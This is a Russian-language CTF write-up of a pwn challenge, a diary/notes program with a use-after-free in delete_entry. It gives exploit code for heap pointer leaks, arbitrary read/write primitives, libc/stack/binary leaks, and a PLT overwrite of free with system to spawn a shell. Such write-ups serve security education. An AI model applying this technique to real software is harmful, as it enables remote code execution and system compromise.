#duckerzctf2026 #PWN
🤱
Девочка-волшебница [клик]Нам дан классически таск на заметки. Мы можем создавать страницу, в которой можем создавать, редактировать, смотреть и удалять записи. Про функционал страниц сразу же забываем, он существует для отвода глаз и потому что в начале была крутая идея, но не воспользовался. Наша задача получить rce.
УязвимостьНевооруженным взглядом можно обнаружить багу, при удалении записи, соответсвующий указатель не зануляется.
/*
* ♪ Удаляю записечку - прощай, старый секретик! ♪
* Освобождаю память заклинанием free~
*/
void delete_entry(int page_number) {
int entry_number;
printf("Какую записечку стереть? ♪ ");
scanf("%d", &entry_number);
if (entry_number < 0 || entry_number >= 32) {
puts("Нет такой записечки! ╮(╯_╰)╭");
return;
}
if (Diary.pages[page_number]->entries[entry_number] == NULL) {
puts("Тут и так ничего нет, глупышка~ (≧◡≦)");
return;
}
free(Diary.pages[page_number]->entries[entry_number]->content); /* Освобождаю память! */
free(Diary.pages[page_number]->entries[entry_number]);
}
ПланЭто значит, что мы можем освободить запись и все равно писать и читать из нее. Проще всего это взломать, создав страницу с контентом размера структуры (
0x10), тогда мы сможем прочитать содержимое освобожденного чанка и переписать указатель в структуре, что позволит нам писать и читать в/на произвольные адреса.
СетапАллоцируем страницу. Аллоцируем запись размера 0x10, освобождаем ее. Аллоцируем вторую страницу размера 0x10.
create_entry(io, 1, 0x10, b"x")
time.sleep(0.1)
delete_entry(io, 1)
time.sleep(0.1)
create_entry(io, 0, 0x10, b"x")
Теперь `entries[0].content == entries[1]
Лик хипыДля начала нам нужно получить хоть какой то адрес. Для этого прочитаем запись
0, мы увидим там нечто похоже на адрес(последний байт мы переписали). Это так называемый [mangled adress](
https://book.hacktricks.wiki/en/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.html). Не думаем, гуглим и находим [репу](
https://github.com/mdulin2/mangle) для восстановления адреса.
Arbitrary readТеперь мы можем написать в
entries[0].content, переписать указатель на
content и
size и прочитать/записать в/на
entries[1]def arbitrary_read(addr: int) -> int:
edit_entry(io, 0, p64(8) + p64(addr))
time.sleep(0.1)
res = u64(read_entry(io, 1)[:8])
time.sleep(0.1)
return res
def arbitrary_write(addr: int, data: bytes) -> int:
edit_entry(io, 0, p64(len(data)) + p64(addr))
time.sleep(0.1)
edit_entry(io, 1, data)
time.sleep(0.1)
Лик либцы, стека, бинаряХотелось бы получить адрес либси. Для этого воспользуемся известной техникой: аллоцируем чанк в ансортед бин (любой чанк размера больше 0x511) и в нем появится указатель на либси. Теперь просто посчитаем оффсет до этого адреса и прочитаем его через arbitrary_read. Далее через другую известную технику ликаем адрес стека из
environ, затем со стека ликаем адрес самого бинаря.
ВзломСамый простой способ получить шел: вызвать
system("/bin/sh"), для этого перешем
plt free на
system и освободим запись с текстом
"/bin/sh\x00".
💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube